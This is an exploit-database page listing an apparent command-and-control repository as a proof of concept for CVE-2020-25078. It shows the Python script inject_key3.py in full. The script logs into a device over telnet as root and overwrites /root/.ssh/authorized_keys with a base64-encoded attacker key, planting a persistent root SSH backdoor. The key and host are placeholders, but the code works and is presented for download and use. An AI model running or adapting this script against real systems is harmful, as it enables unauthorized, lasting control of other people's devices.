Exploit database

GH-2af8eacf03924d61b877104a3bad36c4

flags-alt/abyss-c2

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-25078

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files39
flags-alt/abyss-c2Revision e53991d4aec1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

inject_key3.py

Python · 900 bytes
import sys
sys.path.insert(0, r'.')
from telnet_client import TelnetSession
import base64

pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPLACEHOLDERKEYONLYFORPUBLICTEMPLATE sanitized@example-host"

b64key = base64.b64encode(pubkey.encode()).decode()

print("Connecting as root...")
tn = TelnetSession('192.0.2.10', 23, 'root', 'CHANGE_ME')
if tn.connect(timeout=10):
    print("Connected!")
    
    # Write key using base64 - avoids all escaping issues
    cmd = 'echo ' + b64key + ' | base64 -d > /root/.ssh/authorized_keys'
    r = tn.execute(cmd, timeout=10)
    print("Write result:", r)
    
    r = tn.execute('chmod 600 /root/.ssh/authorized_keys', timeout=10)
    print("Chmod result:", r)
    
    r = tn.execute('cat /root/.ssh/authorized_keys', timeout=10)
    print("Contents:", r[:100])
    
    tn.close()
    print("\nDONE! SSH key injected.")
else:
    print("Connection failed")